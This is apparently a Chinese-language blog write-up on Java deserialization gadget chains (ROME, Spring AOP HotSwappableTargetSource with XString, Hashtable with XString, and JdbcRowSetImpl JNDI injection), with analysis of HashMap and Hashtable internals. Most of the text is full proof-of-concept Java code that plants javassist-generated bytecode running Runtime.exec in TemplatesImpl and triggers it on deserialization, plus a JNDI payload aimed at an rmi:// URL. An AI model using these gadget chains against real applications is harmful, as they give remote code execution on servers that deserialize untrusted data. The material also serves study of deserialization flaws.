import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        EqualsBean bean = new EqualsBean(String.class,"fupanc");
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",bean);
        hashMap0.put("yy",impl);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",impl);
        hashMap1.put("yy",bean);

        hash.put(hashMap0,1);
        hash.put(hashMap1,1);

        setFieldValue(bean,"_beanClass",Templates.class);
        setFieldValue(bean,"_obj",impl);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

简单说明一下,EqualsBean类不用说了,就是ObjectBean类实例用的那个。ObjectBean类的equals()方法也是指向的我们要利用的那个: image-20250122140418611

对于反射修改,还是很妙的,直接在下面这一步就断出去了并且没有影响基本的赋值问题: image-20250122140410478

因为传入的TemplatesImpl类实例和String.class不是相对应的,所以没有进入下面的加载字节码的过程。直接讲eq赋值为了false,并且在最后是返回了这个值的:

image-20250106164810630

也就是说这里调用equals()方法后最后返回的是false,成功放入了第二个键值对,不会覆盖:

image-20250106164917824

非常妙,同时传入fupanc,是为了让equalsBean能够成功实例化:

image-20250106165124272

所以最终POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;

import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        EqualsBean bean = new EqualsBean(String.class,"fupanc");
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",bean);
        hashMap0.put("yy",impl);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",impl);
        hashMap1.put("yy",bean);

        hash.put(hashMap0,1);
        hash.put(hashMap1,1);

        setFieldValue(bean,"_beanClass",Templates.class);
        setFieldValue(bean,"_obj",impl);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功按照预期弹出一个计算机,调试也没问题。

OK,ROME链完结。

最后,需要注意的是: 这个rome链虽然是获取到getter和setter方法,但是从利用代码层面是只能调用到getter,自己分析是这样,具体就自己调试看看,也不难。

其他链

同样的可以算是另外的触发toString()方法的类,注意串通不同的知识点。

HotSwappableTargetSource

这个类位于org.springframework.aop.target.HotSwappableTargetSource,是spring AOP下的一个类,主要的点还是可以调用到toString()方法,现在来跟一下这里的过程。

需要加一个spring-boot的依赖:

1
2
3
4
5
<dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-aop</artifactId>
      <version>5.2.7.RELEASE</version>
    </dependency>

在这里会利用到HotSwappableTargetSource类的equals()方法:

image-20250327135225300

可以看到这里是会调用到equals()方法,老朋友了,然后这里调用了this.target,这个参数是可控的:

image-20250327135403302

所以这里都是可控的,并且是将这里的target变量类型是object,所以是可以进行任意变量的赋值。

总结来说就是可以调用任意类的equals()方法,在这里是选择的XString类的equals()方法,这个类位于com.sun.org.apache.xpath.internal.objects.XString,现在来看一下这里选择的方法:

image-20250327135833368

可以调用toString()方法,然后这里拼接上前面的rome链的toString链即可。

调用到equals()方法的,我看网上似乎都是用的HashMap作为反序列化出发点,触发的地方就在putVal()方法:

image-20250327142207349

我觉得这里触发点的点就是图中标注出来的,刚好之前没利用过这里的putVal()方法来触发equals()方法,这里来简单构造一下。

其实可以先简单代码跟进构造一下,绕不过的一点就是需要hash值相同的,在调用hash()方法时会调用到hashCode()方法来进行hash值的计算,从代码跟进中可以知道这里的key是需要为HotSwappableTargetSource类实例的,正巧这个类是定义了hashCode()方法的:

image-20250327143628425

这个点就非常有意思了,大概就是无论这个类中写入了什么,只要对这个类调用hashCode()方法,返回的结果都是相同的,所以这里是可以直接利用的,然后就可以简单写一个代码来进行调试分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;

import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ObjectBean x1 = new ObjectBean(Templates.class,impl);

        XString xString = new XString("fupanc");

        HotSwappableTargetSource ho1 = new HotSwappableTargetSource(xString);
        HotSwappableTargetSource ho2 = new HotSwappableTargetSource(x1);
        HashMap hm = new HashMap();
        hm.put(ho2,1);
        hm.put(ho1,1);

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

运行就直接弹出计算机了,那么就是在第二次put进值时弹的计算机,现在打断点来进行调试。

发现是直接在如下的equals()方法就调用到了HotSwappableTargetSource类的equals()方法:

image-20250327144850377

前面那个p就是赋值为前一个放进去的值,然后后面会调用p来获取到他的hash值等操作。

在调用到equals()方法前,虽然两个HotSwappableTargetSource类实例的hash值相同,但是很明显本质的内容是不同的,然后会调用到equals()方法:

image-20250327145533470

然后调用到XString类的equals()方法:

image-20250327145626134

然后就会调用到ObjectBean类的toString()方法,随后的过程就是前面toString链说过的了,后面过程就不再多说了,最后返回了false。

对于equals()方法调用结束为false,这里简单说说就行了:

image-20250327152648380

两个HotSwappableTargetSource类实例肯定不同,然后符合instances,然后调用equals()方法:

image-20250327152821145

这里的str()就是返回前面实例化传参的fupanc,然后这里调用了toString()方法,这里返回的结果是不会相同的,所以两个字符串比较是肯定会被直接判定为false,最后综合下来,这整个调用的equals()方法返回false,最后让整个if条件判断为false。也是符合预期的。

继续跟进putVal()方法的后续代码,方法定义如下:

image-20250327151104914

其实具体过程都是和Hashtable那里相同的,在这里的话,虽然hash相同,但是两个实例话对象是肯定不同的,对于后面的equals()方法调用,参考到Hashtable类的equals()调用,应该是需要这里的值不相同,然后key又被判定为不同,这样就可以放入两个值,

image-20250327151104914

因为HashMap等控制键值对的类其本质其实都是让一个内部类Node来进行的存储,所以最后的目的肯定是要实例话一个Node类的,也就是图中的newNode()方法:

image-20250327212934395

所以需要规避掉上面的更新值的操作,也就是需要e为null,看上面代码,我们可以控制调用完equals()方法后返回一个false,也就回让整个if条件返回一个false,然后else if肯定也是false,进入到了else语句,先判断if语句,p.next就是获取下一个键值对,那么这里肯定为null。然后这的binCount又为0,肯定不可能大于7,变量定义如下:

image-20250327152318252

所以直接break,然后结束,最后这个e也为null,可以往里面放第二个键值对。其实直接接着前面的测试代码调试即可,主要的生效代码就是:

image-20250327213500642

这个地方将p.next设置为了下一个Node,也就是成功放入了下一个键值对,所以总的来说,基本只要满足前面的equals()方法判定为false,就可以放进去一个新的键值对。

反序列化也是调用的putVal()方法,所以其实也基本过了,这里就不多说了。序列化前不弹出计算机,其实直接像ROME链那样改就行了,然后反射修改,具体过程可以自己去跟跟,还是先尝试不换呢?尝试的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean x1 = new ToStringBean(Templates.class,impl);

        XString xString = new XString("fupanc");

        HotSwappableTargetSource ho1 = new HotSwappableTargetSource(xString);
        HotSwappableTargetSource ho2 = new HotSwappableTargetSource(x1);
        HashMap hm = new HashMap();
        hm.put(ho2,1);
        hm.put(ho1,1);
//        setFieldValue(x1,"_beanClass",Templates.class);
//        setFieldValue(x1,"_obj",impl);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hm);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

只弹出一个计算机,预期应该是两个,同时也报错:

1
2
3
4
5
6
Exception in thread "main" java.lang.ClassNotFoundException: Evil
	at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:331)
	at 
	。。。。。。

我用javassist写的Evil类有问题?感觉可能和前面CC几当时提出的问题有点像,但是这里发现是反序列化一部分报的错,没调出来,那还是换吧,最后的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean x1 = new ToStringBean(String.class,"fupanc");

        XString xString = new XString("fupanc");

        HotSwappableTargetSource ho1 = new HotSwappableTargetSource(xString);
        HotSwappableTargetSource ho2 = new HotSwappableTargetSource(x1);
        HashMap hm = new HashMap();
        hm.put(ho2,1);
        hm.put(ho1,1);
        setFieldValue(x1,"_beanClass",Templates.class);
        setFieldValue(x1,"_obj",impl);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hm);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

只在反序列化时弹出计算机。成功调用到ToStringBean类的toString()方法:

image-20250327160341103

这里是直接返回读出来的字节,所以上一步的XString的equals()方法判断都是肯定不相同的,只是有点不清楚为什么Evil这里会报错找不到?可能还是和序列化问题相关吧。

参考文章的绕过方式也行,如下POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean x1 = new ToStringBean(Templates.class,impl);

        XString xString = new XString("fupanc");
        HashMap hash = new HashMap();
        hash.put("haha","haha");

        HotSwappableTargetSource ho1 = new HotSwappableTargetSource(xString);
        HotSwappableTargetSource ho2 = new HotSwappableTargetSource(hash);
        HashMap hm = new HashMap();
        hm.put(ho2,1);
        hm.put(ho1,1);
        setFieldValue(ho2,"target",x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hm);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

在XString类的equals()方法调用toString()方法时,调用的会是HashMap类的toString()方法,但其实都大差不差的,这里就不多说了。

Hashtable类也行吧应该,hash值相等这么容易,可以用来绕过HashMap的限制。

最后在其他链子的学习中,我注意到同一个包下的另外一个类SingletonTargetSource,路径为org.springframework.aop.target.SingletonTargetSource,这个类实现了Serializable接口,可以被用来序列化。关注到这个类的equals()方法:

image-20250427202716983

这里的that是jdk16引入的一个机制,就是前面判断的instanceof为true就回讲other设置为that,所以其实和前面HotSwappableTargetSource类的equals()方法实现的基本逻辑是一样的,只是我这里用的SpringAOP的版本不同,可能主要是因为这个依赖就是写给jdk16及以上来使用的吧。这里也说明了一个东西,在做题时看到的不同版本的依赖也是可以尝试利用的。就懒得改成这篇文章的依赖版本了。

————————

Hashtable+XString链

前面利用到了XString类的equals()方法,这个类位于com.sun.org.apache.xpath.internal.objects.XString。既然都是利用equals()方法了,简单想了一下思路,其实也是和前面这个差不多了,但是就利用而言更多的是这里的XString起了一个中转的作用,在ROME链中的本来思路是equals()方法就可以直接打getter从而进行命令执行了,在这里的话就简单以一个XString触发ROME链中的toString链来进行分析,但是需要注意的是,XString不是ROME中特有的链,所以在其他地方也是可以利用的,比如jackson或者fastjson等。

具体思路其实也已经很清楚了,过程也已经非常清晰了,基本盘就是如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import java.util.HashMap;
import java.util.Hashtable;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean x1 = new ToStringBean(Templates.class,impl);
        XString xString = new XString("fupanc");
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",xString);
        hashMap0.put("yy",x1);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",x1);
        hashMap1.put("yy",xString);

        hash.put(hashMap0,"1");
        hash.put(hashMap1,"2");

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

我这里是选用的Hashtable类作为入口里,这个类的关于键值对的处理比较清晰。这里也不用再分析了,过程太熟悉了,唯一的问题就是看Hashtable中是否可以第二次正常放入键值对,并且达到只在反序列化时弹出计算机,而序列化时不弹出计算机。

但是这里其实也是和前面的HotSwappableTargetSource有点像,对于是否可以存储进两个值,当Hashtabel类put进第二个值时,会调用到HashMap的父类AbstractMap的equals()方法:

image-20250416163214791

从而可以调用到XString类的equals()方法:

image-20250416163338854

这里进行的obj2.toString()调用,最后返回的是报错信息:

image-20250416163521991

然后肯定不会和实例化XString时传入的fupanc相同,返回false:

image-20250416163717621

最后返回false,从而可以成功放入两个键值对。

其实都是说过了的,其他不多说了,pox如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import java.util.HashMap;
import java.util.Hashtable;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean x1 = new ToStringBean(Templates.class,impl);
        XString xString = new XString("fupanc");
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",xString);
        hashMap0.put("yy",x1);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",x1);
        hashMap1.put("yy",xString);

        hash.put(hashMap0,"1");
        hash.put(hashMap1,"2");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

也是只弹出一个计算机,也是报错:

1
Exception in thread "main" java.lang.ClassNotFoundException: Evil

这里再想了一下,可能是javassist的原因?或者由于序列化时JVM已经加载了Evil这个类?

那么同样将其改成只在反序列化时弹出,最后的poc如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import java.util.HashMap;
import java.util.Hashtable;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean x1 = new ToStringBean(String.class,"fupanc");
        XString xString = new XString("fupanc");
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",xString);
        hashMap0.put("yy",x1);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",x1);
        hashMap1.put("yy",xString);

        hash.put(hashMap0,"1");
        hash.put(hashMap1,"2");

        setFieldValue(x1,"_beanClass",Templates.class);
        setFieldValue(x1,"_obj",impl);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功只在反序列化时弹出计算机。

JdbcRowSetImpl

fastjson中提到过的类,这个类存在一个connect()方法存在jndi注入漏洞:

image-20250416124556308

非常好实现jndi注入漏洞,这里的conn变量在类初始化时就会设置为null,会调用到else if中的方法,然后控制getDataSourceName()方法有值即可。并且这个类存在一个getter方法有调用connect()方法的逻辑:

image-20250416124724069

我们可以知道rome链的那几条链子都可以调用任意类的getter方法,所以直接打就行了,以toString链为例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName("rmi://127.0.0.1:1099/Hello");

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        ToStringBean x1 = new ToStringBean(JdbcRowSetImpl.class,rs);

        setFieldValue(bad,"val",x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

常规的jndi打法,注意jdk版本,但是这里运行发现并没有弹出计算机,调试了一下,发现还是和前面提到的报错一样,这里由于有很多的getter方法,在没调用到我们想要调用的前就直接报错退出了:

image-20250416142735841

可以看到这里调用这个方法后直接抛出异常,解决方法至少有两个:

  • 像之前那样找一个class类,包含的getter方法少,并且能调用到getDatabaseMetaData()方法
  • 还有就是根据报错,让方法调用不再报错,从而可以调用到我们想要利用的方法。

如果能找到,那么第一种方法是最好打的,但是找了一圈,没看到JdbcRowSetImpl的父类或者接口类有定义getDatabaseMetaData()方法,这个方法应该是JdbcRowSetImpl自带的,所以只能采用第二个方法。

定位到getMatchColumnNames()方法,可以直接打断点调试:

image-20250416145620241

也就是让这个有值即可,跟进这个strMatchColumns变量的赋值,在构造方法中:

image-20250416150258187

这里的Vector类,我们也接触过了,这里就是往往里面放入值:

image-20250416150504533

跟进再看insertElementAt()方法:

image-20250416150524037

就是给这个数组类型的变量里面插入值:

image-20250416150609936

